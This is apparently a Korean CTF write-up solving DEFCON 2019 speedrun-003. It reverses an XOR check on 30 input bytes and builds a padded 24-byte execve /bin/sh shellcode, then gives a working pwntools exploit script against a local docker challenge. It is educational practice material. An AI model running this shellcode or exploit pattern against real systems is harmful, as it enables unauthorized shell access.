문제 풀이 환경 : ubuntu 16.04.7 |
xor .. 의 의미..?..ㅎ
문제 푼 생각, 흐름 그대로 작성하려고 노력했다.
Analysis
별거 없군.,.!
아이패드로 대충 색칠해왔다.
read함수 반환값은 적은 바이트 수이다. 그래서 변수명을 size라고 임의로 내가 바꿨다.
결론은 입력할 때 30글자를 적어야 한다.
그리고 xor 함수가 보이는데 뭔가 xor 연산을 할 것 같다.
입력한 값 중 0xF만큼만 가져와서 xor 연산을 하는 것처럼 보인다. if문에서 그 뒤의 0xF만큼 xor 연산을 하고 윗줄에서 한 거랑 같은지 비교한다. 같으면 shellcode_it 함수를 호출하는데... 뭔가 수상쩍어 보여서 저 함수를 호출하려고 목표를 잡고 디버깅을 해보았다.
대충... if문 조건에 부합하려면 일단 30글자를 모두 같은걸로 줘서 디버깅을 해봤다.
"A"*30을 주었는데 마지막에 저기로 이동하려고 한다.
아하.. 저기다가 shellcode를 주면 shellcode가 실행되겠구나
아 그런데.... 여기에 PIE가 걸려있는데 원하는 주소 브포 어떻게 놓고 디버깅하는걸까??????????
PIE가 걸려있으면 주소값이 좀 이상해서 디버깅이 잘 안되는데 아래 블로그를 참고하여 디버깅했다.
요약하면 PIE의 경우 gdb-peda로 디버깅할시 base주소가 항상 0x0000555555554000라는 것이다.
그래서 여기다가 base 주소 적어서 디버깅하면 된다!
How to exploit
아무튼 우리는 shellcode_it을 호출하기 위해 if문을 만족시켜줘야 한다..
조건 check
- 입력 값(shellcode) 길이가 30
- 앞 15바이트와 뒤 15바이트의 xor 연산결과가 같아야 한다.
xor 함수? 한번 봐보자.
음.. python으로 코딩을 살짝 해보았다.
result = 0
for i in range(15):
result ^= ord(shellcode[i])
chr(result) # A
result = 0
for i in range(15, 30):
result = result ^ ord(shellcode[i])
chr(result) # B
if 문 조건을 통과하려면.. A와 B가 같아야 한다.
여기서 xor 연산의 특징을 한번 생각해보자.
- 1 ^ 0 => 1
- 1 ^ 1 => 0
이렇게 알고 있으신 분들 많을 것 같다. 난 1과 0의 틀에 갖혀서 1 대신 A가 들어가면 어떻게 되는지 생각을 잘 못했었다.
여기서 만약 1이 A면 어떻게 될까?
- A ^ 0 => A
- A ^ A => 0
이렇게 나온다. 이걸 이용해서 앞의 15바이트 연산한 값과 뒤의 15바이트 연산한 값을 같게 해주면 된다.
인터넷에서 대충 24byte shellcode를 가져왔다.
www.exploit-db.com/exploits/42179
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
print(len(shellcode)) # 24
result = 0
for i in range(15):
result ^= ord(shellcode[i])
(chr(result)) # '\xcd'
result = 0
for i in range(15, 24):
result = result ^ ord(shellcode[i])
(chr(result)) # '\xc2'
앞의 15바이트 xor 연산 결과는 '\xcd'
나머지 뒤는 '\xc2'
내가 구한 shellcode가 24byte이기 때문에 나머지 6byte를 더 추가시켜서 뒤의 15바이트 연산 결과가 '\xcd'가 나오게 해야 한다.
(shellcode는 일단 실행되면 뒤의 6바이트는 무시되니까.. 상관없다.)
xor 연산의 특징 잊으면 안된다.
ord('\xc2') ^ ord( '\xc2') # 0
0 ^ ord('\xcd') # '\xcd'
ord('\xcd') ^ ord('\xcd') # 0
0 ^ ord('\xcd') # '\xcd'
결론적으로 24byte shellcode 뒤에 \xc2\xcd\xcd\xcd\xcd\xcd 의 padding을 더해주어 30byte로 만들면 된다.
30byte의 shellcode를 가지고 내가 원하는 결과가 나왔는지 체크해보자.
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05\xc2\xcd\xcd\xcd\xcd\xcd"
print(len(shellcode)) # 30
result = 0
for i in range(15):
result ^= ord(shellcode[i])
(chr(result)) # '\xcd'
result = 0
for i in range(15, 30):
result = result ^ ord(shellcode[i])
(chr(result)) # '\xcd'
저 shellcode를 넣어주면 if문 조건에 딱 맞아서 shellcode를 실행시켜줄 것이다.
Let's exploit!
아래는 익스 코드!!
from pwn import *
#p = process("./speedrun-003")
p = remote("172.17.0.2",31337)
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05\xc2\xcd\xcd\xcd\xcd\xcd"
p.recvuntil("Send me your drift")
p.sendline(shellcode)
p.interactive()
익스 코드 자체는 간단하다
docker를 다운받아 실행하고 flag를 획득할 수 있당.
'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글
[DEFCON 2019] speedrun-004 풀이 (0) | 2021.02.01 |
---|---|
[DEFCON 2019] speedrun-002 풀이 (4) | 2021.01.26 |
[DEFCON 2019] speedrun-001 풀이 (0) | 2021.01.25 |